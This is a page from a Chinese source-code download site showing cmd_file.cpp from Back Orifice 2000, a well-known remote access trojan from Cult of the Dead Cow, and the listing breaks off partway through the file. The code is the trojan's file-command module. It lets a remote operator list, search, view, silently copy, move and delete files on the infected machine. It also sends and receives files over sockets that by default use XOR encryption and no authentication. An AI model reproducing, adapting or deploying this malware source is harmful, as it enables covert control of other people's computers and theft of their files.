开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
cmd_file.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：28k
源码类别：

远程控制编程

开发平台：

WINDOWS

cmd_file.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. #include<windows.h>
  21. #include<auth.h>
  22. #include<iohandler.h>
  23. #include<encryption.h>
  24. #include<commandloop.h>
  25. #include<bocomreg.h>
  26. #include<cmdcmd_file.h>
  27. #include<config.h>
  28. #include<strhandle.h>
  30. char g_svFileOptions[]="<**CFG**>File Transfer"
  31.                        "S[8]:File Xfer Net Type=TCPIO"
  32.                        "S[48]:File Xfer Bind Str=RANDOM"
  33.       "S[8]:File Xfer Encryption=XOR"
  34.    "S[8]:File Xfer Auth=NULLAUTH";
  35. typedef enum {
  36. SEND,
  37. RECV,
  38. EMIT
  39. } XFERTYPE;
  41. typedef struct {
  42. char svName[256];
  43. char svPath[MAX_PATH+1];
  44. BOOL bActive;
  45. HANDLE htd;
  46. XFERTYPE nType;
  48. } XFERFILEINFO;
  50. XFERFILEINFO *g_pXferInfo=NULL;
  51. int g_nXfers;
  52. CRITICAL_SECTION g_csXfer;
  54. #define MAX_XFERS 32
  56. typedef struct {
  57. HANDLE hFile;
  58. CAuthSocket *fas;
  59. BOOL *pbActive;
  60. } XFERFILEARGS;
  64. int CmdProc_DirectoryList(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  65. {
  66. char svBuffer[1024];
  68. // Set directory wildcard spec if one doesn't exist
  69. char svPath[MAX_PATH+1];
  70. lstrcpyn(svPath,svArg2,MAX_PATH-1);
  71. if(svPath[lstrlen(svPath)-1]=='\')
  72. lstrcat(svPath, "*");
  74. // Start file enumeration
  75. HANDLE hFind;
  76. WIN32_FIND_DATA finddata;
  78. hFind=FindFirstFile(svPath, &finddata);
  79. if(hFind==INVALID_HANDLE_VALUE) {
  80. IssueAuthCommandReply(cas_from,comid,1,"Unable to enumerate files.n");
  81. return 1;
  82. }
  83. wsprintf(svBuffer,"Contents of directory '%s':n", svArg2 );
  84. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  86. // Enumerate files
  87. int nCount;
  88. DWORD dwBytes;
  89. nCount=0;
  90. dwBytes=0;
  91. do {
  92. char svAttribs[8];
  93. FILETIME filetime;
  94. SYSTEMTIME systemtime;
  96. lstrcpy(svAttribs,"-------");
  97. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)  svAttribs[0] = 'D';
  98. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE)    svAttribs[1] = 'A';
  99. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)     svAttribs[2] = 'H';
  100. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED) svAttribs[3] = 'C';
  101. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_READONLY)   svAttribs[4] = 'R';
  102. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM)     svAttribs[5] = 'S';
  103. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY)  svAttribs[6] = 'T';
  105. FileTimeToLocalFileTime(&finddata.ftLastWriteTime, &filetime);
  106. FileTimeToSystemTime(&filetime, &systemtime);
  107. wsprintf(svBuffer,"%12s  %8d %7s %2.2d-%2.2d-%4.4d %2.2d:%2.2d %.260sn", finddata.cAlternateFileName, finddata.nFileSizeLow, svAttribs, (int)systemtime.wMonth, (int)systemtime.wDay, (int)systemtime.wYear, (int)systemtime.wHour%24, (int)systemtime.wMinute%60, finddata.cFileName );
  108. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  110. nCount++;
  111. dwBytes+=finddata.nFileSizeLow;
  112. } while(FindNextFile(hFind, &finddata));
  114. // Close enumeration
  115. FindClose(hFind);
  116. wsprintf(svBuffer, "%lu bytes in %ld files.n", dwBytes, nCount);
  117. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  119. return 0;
  120. }
  122. int FindFile(CAuthSocket *cas_from, int comid, char *svRoot, char *svSpec, char *svBuffer)
  123. {
  124. char svPath[MAX_PATH+1];
  126. // Set directory wildcard spec if one doesn't exist
  127. lstrcpyn(svPath,svRoot,MAX_PATH-1);
  128. if(svPath[lstrlen(svPath)-1]=='\')
  129. lstrcpyn(svPath+lstrlen(svPath), svSpec, MAX_PATH-1-lstrlen(svPath));
  130. else {
  131. lstrcat(svPath,"\");
  132. lstrcpyn(svPath+lstrlen(svPath), svSpec, MAX_PATH-lstrlen(svPath));
  133. }
  135. // Start file enumeration
  136. HANDLE hFind;
  137. WIN32_FIND_DATA finddata;
  139. int nCount;
  140. nCount=0;
  141. hFind=FindFirstFile(svPath, &finddata);
  142. if(hFind!=INVALID_HANDLE_VALUE) {
  143. wsprintf(svBuffer,"Matched files in directory '%s':n", svRoot );
  144. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  146. // Enumerate files
  147. do {
  148. char svAttribs[8];
  149. FILETIME filetime;
  150. SYSTEMTIME systemtime;
  152. lstrcpy(svAttribs,"-------");
  153. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)  svAttribs[0] = 'D';
  154. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE)    svAttribs[1] = 'A';
  155. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)     svAttribs[2] = 'H';
  156. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED) svAttribs[3] = 'C';
  157. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_READONLY)   svAttribs[4] = 'R';
  158. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_SYSTEM)     svAttribs[5] = 'S';
  159. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_TEMPORARY)  svAttribs[6] = 'T';
  161. FileTimeToLocalFileTime(&finddata.ftCreationTime, &filetime);
  162. FileTimeToSystemTime(&filetime, &systemtime);
  163. wsprintf(svBuffer,"%12s  %8d %7s %02d-%02d-%02d %02d:%02d %.260sn", finddata.cAlternateFileName, finddata.nFileSizeLow, svAttribs, (int)systemtime.wMonth, (int)systemtime.wDay, (int)systemtime.wYear%100, (int)systemtime.wHour, (int)systemtime.wMinute, finddata.cFileName );
  164. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  166. nCount++;
  167. } while(FindNextFile(hFind, &finddata));
  169. // Close enumeration
  170. FindClose(hFind);
  171. }
  174. // Recurse
  175. lstrcpyn(svPath,svRoot,MAX_PATH-1);
  176. if(svPath[lstrlen(svPath)-1]=='\')
  177. lstrcpyn(svPath+lstrlen(svPath), "*", MAX_PATH-lstrlen(svPath));
  178. else {
  179. lstrcpyn(svPath+lstrlen(svPath), "\*", MAX_PATH-lstrlen(svPath));
  180. }
  182. hFind=FindFirstFile(svPath, &finddata);
  183. if(hFind==INVALID_HANDLE_VALUE) {
  184. return nCount;
  185. }
  186. do {
  187. if((lstrcmp(finddata.cFileName,".")==0) ||
  188.    (lstrcmp(finddata.cFileName,"..")==0)) continue;
  189. if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
  190. char svNewRoot[MAX_PATH+1];
  191. lstrcpyn(svNewRoot,svRoot,MAX_PATH-1);
  192. if(svNewRoot[lstrlen(svNewRoot)-1]=='\')
  193. lstrcpyn(svNewRoot+lstrlen(svNewRoot), finddata.cFileName, MAX_PATH-1-lstrlen(svNewRoot));
  194. else {
  195. lstrcat(svNewRoot,"\");
  196. lstrcpyn(svNewRoot+lstrlen(svNewRoot), finddata.cFileName, MAX_PATH-lstrlen(svNewRoot));
  197. }
  198. nCount+=FindFile(cas_from,comid,svNewRoot,svSpec,svBuffer);
  199. }
  200. } while(FindNextFile(hFind, &finddata));
  202. // Close enumeration
  203. FindClose(hFind);
  205. return nCount;
  206. }
  208. int CmdProc_FileFind(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  209. {
  210. char svBuffer[1024];
  211. int nCount;
  213. nCount=FindFile(cas_from,comid,svArg2,svArg3,svBuffer);
  214. wsprintf(svBuffer,"%d matches found.n",nCount);
  215. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  217. return 0;
  218. }
  220. int CmdProc_FileDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  221. {
  222. if(DeleteFile(svArg2)==0) {
  223. IssueAuthCommandReply(cas_from,comid,0,"Could not delete file.n");
  224. return 1;
  225. }
  227. IssueAuthCommandReply(cas_from,comid,0,"File deleted.n");
  228. return 0;
  229. }
  231. int CmdProc_FileView(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  232. {
  233. HANDLE hFile;
  234. hFile=CreateFile(svArg2,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
  235. if(hFile==INVALID_HANDLE_VALUE) {
  236. IssueAuthCommandReply(cas_from,comid,0,"Could not open file.n");
  237. return 1;
  238. }
  240. // Spit out lines to io socket
  241. char *pData;
  242. char *svLine;
  243. DWORD dwLen,dwBytes;
  244. pData=(char *) malloc(4097);
  245. svLine=(char *) malloc(4097);
  247. if(pData==NULL || svLine==NULL) {
  248. if(pData!=NULL) free(pData);
  249. if(svLine!=NULL) free(svLine);
  250. IssueAuthCommandReply(cas_from,comid,0,"Error allocating memory.n");
  251. return 1;
  252. }
  254. dwLen=4096;
  255. do {
  256. ReadFile(hFile,pData,dwLen,&dwBytes,NULL);
  257. pData[dwBytes]='';
  258. IssueAuthCommandReply(cas_from,comid,1,pData);
  259. } while(dwLen==dwBytes);
  260. IssueAuthCommandReply(cas_from,comid,0,"n<<EOF>>n");
  262. free(pData);
  263. free(svLine);
  265. CloseHandle(hFile);
  267. return 0;
  268. }
  270. int CmdProc_FileRename(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  271. {
  272. if(GetFileAttributes(svArg2)&FILE_ATTRIBUTE_DIRECTORY) {
  273. char svSrc[260];
  274. lstrcpyn(svSrc,svArg2,259);
  275. svSrc[lstrlen(svSrc)+1]='';
  277. char svDst[260];
  278. lstrcpyn(svDst,svArg3,259);
  279. svDst[lstrlen(svDst)+1]='';
  281. SHFILEOPSTRUCT shfos;
  282. memset(&shfos,0,sizeof(SHFILEOPSTRUCT));
  283. shfos.hwnd=NULL;
  284. shfos.wFunc=FO_MOVE;
  285. shfos.pFrom=svSrc;
  286. shfos.pTo=svDst;
  287. shfos.fFlags=FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR|FOF_NOERRORUI|FOF_RENAMEONCOLLISION|FOF_SILENT;
  289. if(SHFileOperation(&shfos)!=0) {
  290. IssueAuthCommandReply(cas_from,comid,0,"Could not move/rename directory.n");
  291. return 1;
  292. }
  293. } else {
  294. if(MoveFile(svArg2,svArg3)==0) {
  295. IssueAuthCommandReply(cas_from,comid,0,"Could not move/rename file.n");
  296. return 1;
  297. }
  298. }
  300. IssueAuthCommandReply(cas_from,comid,0,"File moved/renamed.n");
  301. return 0;
  302. }
  304. int CmdProc_FileCopy(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  305. {
  306. if(GetFileAttributes(svArg2)&FILE_ATTRIBUTE_DIRECTORY) {
  307. char svSrc[260];
  308. lstrcpyn(svSrc,svArg2,259);
  309. svSrc[lstrlen(svSrc)+1]='';
  311. char svDst[260];
  312. lstrcpyn(svDst,svArg3,259);
  313. svDst[lstrlen(svDst)+1]='';
  315. SHFILEOPSTRUCT shfos;
  316. memset(&shfos,0,sizeof(SHFILEOPSTRUCT));
  317. shfos.hwnd=NULL;
  318. shfos.wFunc=FO_COPY;
  319. shfos.pFrom=svSrc;
  320. shfos.pTo=svDst;
  321. shfos.fFlags=FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR|FOF_NOERRORUI|FOF_RENAMEONCOLLISION|FOF_SILENT;
  323. if(SHFileOperation(&shfos)!=0) {
  324. IssueAuthCommandReply(cas_from,comid,0,"Could not copy directory.n");
  325. return 1;
  326. }
  327. } else {
  328. if(CopyFile(svArg2,svArg3,FALSE)==0) {
  329. IssueAuthCommandReply(cas_from,comid,0,"Could not copy file.n");
  330. return 1;
  331. }
  332. }
  334. IssueAuthCommandReply(cas_from,comid,0,"File copied.n");
  336. return 0;
  337. }
  339. int CmdProc_DirectoryMake(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  340. {
  341. if(CreateDirectory(svArg2,NULL)==0) {
  342. IssueAuthCommandReply(cas_from,comid,0,"Could not create directory.n");
  343. return 1;
  344. }
  346. IssueAuthCommandReply(cas_from,comid,0,"Directory created.n");
  348. return 0;
  349. }
  351. int CmdProc_DirectoryDelete(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  352. {
  353. if(GetFileAttributes(svArg2)&FILE_ATTRIBUTE_DIRECTORY) {
  354. char svSrc[260];
  355. lstrcpyn(svSrc,svArg2,259);
  356. svSrc[lstrlen(svSrc)+1]='';
  358. SHFILEOPSTRUCT shfos;
  359. memset(&shfos,0,sizeof(SHFILEOPSTRUCT));
  360. shfos.hwnd=GetDesktopWindow();
  361. shfos.wFunc=FO_DELETE;
  362. shfos.pFrom=svSrc;
  363. shfos.fFlags=FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR|FOF_NOERRORUI|FOF_RENAMEONCOLLISION|FOF_SILENT;
  365. if(SHFileOperation(&shfos)!=0) {
  366. IssueAuthCommandReply(cas_from,comid,0,"Could not delete directory.n");
  367. return 1;
  368. }
  369. } else {
  370. IssueAuthCommandReply(cas_from,comid,0,"Could not delete. Not a directory.n");
  371. return 1;
  372. }
  374. IssueAuthCommandReply(cas_from,comid,0,"Directory removed.n");
  376. return 0;
  377. }
  381. int Cmd_FileXfer_Init(void)
  382. {
  383. InitializeCriticalSection(&g_csXfer);
  384. g_nXfers=0;
  385. g_pXferInfo=(XFERFILEINFO *)malloc(sizeof(XFERFILEINFO)*MAX_XFERS);
  386. return 0;
  387. }
  389. int Cmd_FileXfer_Kill(void)
  390. {
  391. DeleteCriticalSection(&g_csXfer);
  392. int i;
  393. for(i=0;i<g_nXfers;i++) {
  394. g_pXferInfo[i].bActive=FALSE;
  395. WaitForSingleObject(g_pXferInfo[i].htd,5000);
  396. }
  397. g_nXfers=0;
  398. free(g_pXferInfo);
  399. return 0;
  400. }
  402. DWORD WINAPI RecvFileThread(LPVOID lpArgs)
  403. {
  404. HANDLE hFile=((XFERFILEARGS *)lpArgs)->hFile;
  405. CAuthSocket *fas=((XFERFILEARGS *)lpArgs)->fas;
  406. BOOL *pbActive=((XFERFILEARGS *)lpArgs)->pbActive;
  407. free(lpArgs);
  409. // Receive file
  411. CAuthSocket *child=NULL;
  412. while(*pbActive) {
  413. // Accept only one connection
  414. child=fas->Accept();
  415. if(child!=NULL) {
  416. break;
  417. }
  418. Sleep(0);
  419. }
  420. if(child) {
  421. int ret,len,count;
  422. BYTE *data;
  424. // Get transfer length
  425. while((ret=child->Recv(&data,&len))==0);
  426. if(ret>0) {
  427. count=*(int *)data;
  428. // Transfer file
  429. while((*pbActive) && count>0) {
  430. ret=child->Recv(&data,&len);
  431. if(ret>0) {
  432. DWORD written;
  433. WriteFile(hFile,data,len,&written,NULL);
  434. fas->Free(data);
  435. if(written!=(DWORD)len) {
  436. *pbActive=FALSE;
  437. }
  438. count-=len;
  439. } else if(ret==0) {
  440. Sleep(20);
  441. } else {
  442. *pbActive=FALSE;
  443. }
  444. }
  445. }
  446. // close socket
  447. child->Close();
  448. delete child;
  449. }
  451. fas->Close();
  452. delete fas;
  454. // close file
  455. CloseHandle(hFile);
  457. // Remove self from xfer list
  458. EnterCriticalSection(&g_csXfer);
  459. int i;
  460. for(i=0;i<g_nXfers;i++) {
  461. if(pbActive==&(g_pXferInfo[i].bActive)) {
  462. if(i<(g_nXfers-1)) {
  463. memcpy(g_pXferInfo+i,g_pXferInfo+i+1,g_nXfers-(i+1));
  464. }
  465. g_nXfers--;
  466. break;
  467. }
  468. }
  469. LeaveCriticalSection(&g_csXfer);
  471. return 0;
  472. }
  474. int CmdProc_ReceiveFile(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  475. {
  476. char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svBindStr=NULL,*svParam=NULL;
  478. // Check if already started
  479. EnterCriticalSection(&g_csXfer);
  480. if(g_nXfers>=MAX_XFERS) {
  481. IssueAuthCommandReply(cas_from,comid,0,"Could not receive. Too many transfers started.n");
  482. LeaveCriticalSection(&g_csXfer);
  483. return -1;
  484. }
  486. // Get parameters
  487. svBindStr=GetCfgStr(g_svFileOptions,"File Xfer Bind Str");
  488. svNetMod=GetCfgStr(g_svFileOptions,"File Xfer Net Type");
  489. svEnc=GetCfgStr(g_svFileOptions,"File Xfer Encryption");
  490. svAuth=GetCfgStr(g_svFileOptions,"File Xfer Auth");
  492. if((svParam=svArg2)!=NULL) {
  493. if(svParam[0]!='') svBindStr=svParam;
  494. if((svParam=BreakString(svBindStr,","))!=NULL) {
  495. if(svParam[0]!='') svNetMod=svParam;
  496. if((svParam=BreakString(svNetMod,","))!=NULL) {
  497. if(svParam[0]!='') svEnc=svParam;
  498. if((svParam=BreakString(svEnc,","))!=NULL) {
  499. if(svParam[0]!='') svAuth=svParam;
  500. }
  501. }
  502. }
  503. }
  504. if(svBindStr[0]=='') {
  505. svBindStr="RANDOM";
  506. }
  507. char svShortNetMod[16],svShortEnc[16],svShortAuth[16];
  508. if(svNetMod[0]=='') {
  509. svNetMod=cas_from->m_pIOH->pQuery();
  510. }
  511. lstrcpyn(svShortNetMod,svNetMod,16);
  512. BreakString(svShortNetMod,":");
  513. if(svEnc[0]=='') {
  514. svEnc=cas_from->m_pEE->pQuery();
  515. }
  516. lstrcpyn(svShortEnc,svEnc,16);
  517. BreakString(svShortEnc,":");
  518. if(svAuth[0]=='') {
  519. svAuth=cas_from->GetAuthHandler()->pQuery();
  520. }
  521. lstrcpyn(svShortAuth,svAuth,16);
  522. BreakString(svShortAuth,":");
  524. if(svArg3==NULL) {
  525. IssueAuthCommandReply(cas_from,comid,0,"Could not open. Must supply filename.n");
  526. LeaveCriticalSection(&g_csXfer);
  527. return -1;
  528. }
  530. CAuthSocket *fas=ListenAuthSocket(NULL,cas_from->GetUserID(),NULL,svBindStr,svNetMod,svEnc,svAuth);
  531. if(fas==NULL || fas==(CAuthSocket *)0xFFFFFFFF) {
  532. IssueAuthCommandReply(cas_from,comid,0,"Could not start listen socketn");
  533. LeaveCriticalSection(&g_csXfer);
  534. return -1;
  535. }
  537. HANDLE hFile=CreateFile(svArg3,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  538. if(hFile==INVALID_HANDLE_VALUE) {
  539. IssueAuthCommandReply(cas_from,comid,0,"Could not create file.n");
  540. fas->Close();
  541. LeaveCriticalSection(&g_csXfer);
  542. return -1;
  543. }
  545. // Create transfer thread
  546. XFERFILEARGS *pArgs=(XFERFILEARGS *)malloc(sizeof(XFERFILEARGS));
  547. pArgs->hFile=hFile;
  548. pArgs->fas=fas;
  549. pArgs->pbActive=&(g_pXferInfo[g_nXfers].bActive);
  551. DWORD tid;
  552. HANDLE htd=CreateThread(NULL,0,RecvFileThread,pArgs,CREATE_SUSPENDED,&tid);
  553. if(htd==NULL) {
  554. IssueAuthCommandReply(cas_from,comid,0,"Could not create thread.n");
  555. CloseHandle(hFile);
  556. fas->Close();
  557. LeaveCriticalSection(&g_csXfer);
  558. return -1;
  559. }
  561. // Add transfer to table
  562. fas->GetConnectAddr(g_pXferInfo[g_nXfers].svName,256);
  563. lstrcpyn(g_pXferInfo[g_nXfers].svPath,svArg3,MAX_PATH);
  564. g_pXferInfo[g_nXfers].bActive=TRUE;
  565. g_pXferInfo[g_nXfers].nType=RECV;
  566. g_pXferInfo[g_nXfers].htd=htd;
  567. g_nXfers++;
  568. LeaveCriticalSection(&g_csXfer);
  570. char svMsg[512];
  571. wsprintf(svMsg, "File recv started on: %.256s,%.16s,%.16s,%.16sn",
  572. g_pXferInfo[g_nXfers-1].svName,
  573. svShortNetMod,
  574. svShortEnc,
  575. svShortAuth);
  576. IssueAuthCommandReply(cas_from,comid,0,svMsg);
  577. ResumeThread(htd);
  578. return 0;
  579. }
  581. DWORD WINAPI SendFileThread(LPVOID lpArgs)
  582. {
  583. HANDLE hFile=((XFERFILEARGS *)lpArgs)->hFile;
  584. CAuthSocket *fas=((XFERFILEARGS *)lpArgs)->fas;
  585. BOOL *pbActive=((XFERFILEARGS *)lpArgs)->pbActive;
  586. free(lpArgs);
  588. // Send file
  590. int ret,count;
  591. DWORD dwLength=GetFileSize(hFile,NULL);
  593. ret=fas->Send((BYTE*)&dwLength,sizeof(DWORD));
  594. if(ret>0) {
  595. count=dwLength;
  596. while(count>0 && (*pbActive)) {
  597. BYTE buf[1400];
  598. DWORD dwBytes;
  599. ReadFile(hFile,buf,1400,&dwBytes,NULL);
  600. if(dwBytes>0) {
  601. fas->Send(buf,(int)dwBytes);
  602. count-=(int)dwBytes;
  603. }
  604. }
  605. *pbActive=FALSE;
  606. }
  607. fas->Close();
  608. delete fas;
  610. CloseHandle(hFile);
  612. // Remove self from xfer list
  613. EnterCriticalSection(&g_csXfer);
  614. int i;
  615. for(i=0;i<g_nXfers;i++) {
  616. if(pbActive==&(g_pXferInfo[i].bActive)) {
  617. if(i<(g_nXfers-1)) {
  618. memcpy(g_pXferInfo+i,g_pXferInfo+i+1,g_nXfers-(i+1));
  619. }
  620. g_nXfers--;
  621. break;
  622. }
  623. }
  624. LeaveCriticalSection(&g_csXfer);
  626. return 0;
  627. }
  629. int CmdProc_SendFile(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  630. {
  631. char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svAddress=NULL,*svParam=NULL;
  633. // Check if already started
  634. EnterCriticalSection(&g_csXfer);
  635. if(g_nXfers>=MAX_XFERS) {
  636. IssueAuthCommandReply(cas_from,comid,0,"Could not send. Too many transfers started.n");
  637. LeaveCriticalSection(&g_csXfer);
  638. return -1;
  639. }
  641. // Get parameters
  643. svAddress=GetCfgStr(g_svFileOptions,"File Xfer Bind Str");
  644. svNetMod=GetCfgStr(g_svFileOptions,"File Xfer Net Type");
  645. svEnc=GetCfgStr(g_svFileOptions,"File Xfer Encryption");
  646. svAuth=GetCfgStr(g_svFileOptions,"File Xfer Auth");
  648. if((svParam=svArg2)!=NULL) {
  649. if(svParam[0]!='') svAddress=svParam;
  650. if((svParam=BreakString(svAddress,","))!=NULL) {
  651. if(svParam[0]!='') svNetMod=svParam;
  652. if((svParam=BreakString(svNetMod,","))!=NULL) {
  653. if(svParam[0]!='') svEnc=svParam;
  654. if((svParam=BreakString(svEnc,","))!=NULL) {
  655. if(svParam[0]!='') svAuth=svParam;
  656. }
  657. }
  658. }
  659. }
  660. char svShortNetMod[16],svShortEnc[16],svShortAuth[16];
  661. if(svNetMod[0]=='') {
  662. svNetMod=cas_from->m_pIOH->pQuery();
  663. }
  664. lstrcpyn(svShortNetMod,svNetMod,16);
  665. BreakString(svShortNetMod,":");
  666. if(svEnc[0]=='') {
  667. svEnc=cas_from->m_pEE->pQuery();
  668. }
  669. lstrcpyn(svShortEnc,svEnc,16);
  670. BreakString(svShortEnc,":");
  671. if(svAuth[0]=='') {
  672. svAuth=cas_from->GetAuthHandler()->pQuery();
  673. }
  674. lstrcpyn(svShortAuth,svAuth,16);
  675. BreakString(svShortAuth,":");
  677. if(svArg3==NULL) {
  678. IssueAuthCommandReply(cas_from,comid,0,"Could not open. Must supply local filename.n");
  679. LeaveCriticalSection(&g_csXfer);
  680. return -1;
  681. }
  683. CAuthSocket *fas=ConnectAuthSocket(NULL,cas_from->GetUserID(),NULL,svAddress,svNetMod,svEnc,svAuth);
  684. if(fas==NULL || fas==(CAuthSocket *)0xFFFFFFFF) {
  685. IssueAuthCommandReply(cas_from,comid,0,"Could not connect to address.n");
  686. LeaveCriticalSection(&g_csXfer);
  687. return -1;
  688. }
  690. HANDLE hFile=CreateFile(svArg3,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
  691. if(hFile==INVALID_HANDLE_VALUE) {
  692. IssueAuthCommandReply(cas_from,comid,0,"Could not open local file.n");
  693. fas->Close();
  694. LeaveCriticalSection(&g_csXfer);
  695. return -1;
  696. }
  698. // Create transfer thread
  699. XFERFILEARGS *pArgs=(XFERFILEARGS *)malloc(sizeof(XFERFILEARGS));
  700. pArgs->hFile=hFile;
  701. pArgs->fas=fas;
  702. pArgs->pbActive=&(g_pXferInfo[g_nXfers].bActive);
  704. DWORD tid;
  705. HANDLE htd=CreateThread(NULL,0,SendFileThread,pArgs,CREATE_SUSPENDED,&tid);
  706. if(htd==NULL) {
  707. IssueAuthCommandReply(cas_from,comid,0,"Could not create thread.n");
  708. CloseHandle(hFile);
  709. fas->Close();
  710. LeaveCriticalSection(&g_csXfer);
  711. return -1;
  712. }
  714. // Add transfer to table
  715. fas->GetRemoteAddr(g_pXferInfo[g_nXfers].svName,256);
  716. lstrcpyn(g_pXferInfo[g_nXfers].svPath,svArg3,MAX_PATH);
  717. g_pXferInfo[g_nXfers].bActive=TRUE;
  718. g_pXferInfo[g_nXfers].nType=SEND;
  719. g_pXferInfo[g_nXfers].htd=htd;
  720. g_nXfers++;
  721. LeaveCriticalSection(&g_csXfer);
  723. char svMsg[512];
  724. wsprintf(svMsg, "File send started to: %.256s,%.16s,%.16s,%.16sn",
  725. g_pXferInfo[g_nXfers-1].svName,
  726. svShortNetMod,
  727. svShortEnc,
  728. svShortAuth);
  730. IssueAuthCommandReply(cas_from,comid,0,svMsg);
  732. ResumeThread(htd);
  733. return 0;
  734. }
  737. DWORD WINAPI EmitFileThread(LPVOID lpArgs)
  738. {
  739. HANDLE hFile=((XFERFILEARGS *)lpArgs)->hFile;
  740. CAuthSocket *fas=((XFERFILEARGS *)lpArgs)->fas;
  741. BOOL *pbActive=((XFERFILEARGS *)lpArgs)->pbActive;
  742. free(lpArgs);
  744. // Receive file
  746. CAuthSocket *child=NULL;
  747. while(*pbActive) {
  748. // Accept only one connection
  749. child=fas->Accept();
  750. if(child!=NULL) {
  751. break;
  752. }
  753. Sleep(0);
  754. }
  755. if(child) {
  756. int ret,count;
  757. DWORD dwLength=GetFileSize(hFile,NULL);
  759. while((ret=child->Send((BYTE*)&dwLength,sizeof(DWORD)))==0) Sleep(20);
  760. if(ret>0) {
  761. count=dwLength;
  762. while(count>0 && (*pbActive)) {
  763. BYTE buf[4096],*pbuf;
  764. DWORD dwBytes;
  765. ReadFile(hFile,buf,4096,&dwBytes,NULL);
  766. pbuf=buf;
  767. if(dwBytes>0) {
  768. while((ret=child->Send(buf,(int)dwBytes))==0) Sleep(20);
  769. if(ret<0) *pbActive=FALSE;
  770. count-=(int)dwBytes;
  771. }
  772. }
  773. *pbActive=FALSE;
  774. }
  776. // close socket
  777. child->Close();
  778. delete child;
  779. }
  781. fas->Close();
  782. delete fas;
  784. // close file
  785. CloseHandle(hFile);
  787. // Remove self from xfer list
  788. EnterCriticalSection(&g_csXfer);
  789. int i;
  790. for(i=0;i<g_nXfers;i++) {
  791. if(pbActive==&(g_pXferInfo[i].bActive)) {
  792. if(i<(g_nXfers-1)) {
  793. memcpy(g_pXferInfo+i,g_pXferInfo+i+1,g_nXfers-(i+1));
  794. }
  795. g_nXfers--;
  796. break;
  797. }
  798. }
  799. LeaveCriticalSection(&g_csXfer);
  801. return 0;
  802. }
  804. int CmdProc_EmitFile(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  805. {
  806. char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svBindStr=NULL,*svParam=NULL;
  808. // Check if already started
  809. EnterCriticalSection(&g_csXfer);
  810. if(g_nXfers>=MAX_XFERS) {
  811. IssueAuthCommandReply(cas_from,comid,0,"Could not emit. Too many transfers started.n");
  812. LeaveCriticalSection(&g_csXfer);
  813. return -1;
  814. }
  816. // Get parameters
  818. svBindStr=GetCfgStr(g_svFileOptions,"File Xfer Bind Str");
  819. svNetMod=GetCfgStr(g_svFileOptions,"File Xfer Net Type");
  820. svEnc=GetCfgStr(g_svFileOptions,"File Xfer Encryption");
  821. svAuth=GetCfgStr(g_svFileOptions,"File Xfer Auth");
  823. if((svParam=svArg2)!=NULL) {
  824. if(svParam[0]!='') svBindStr=svParam;
  825. if((svParam=BreakString(svBindStr,","))!=NULL) {
  826. if(svParam[0]!='') svNetMod=svParam;
  827. if((svParam=BreakString(svNetMod,","))!=NULL) {
  828. if(svParam[0]!='') svEnc=svParam;
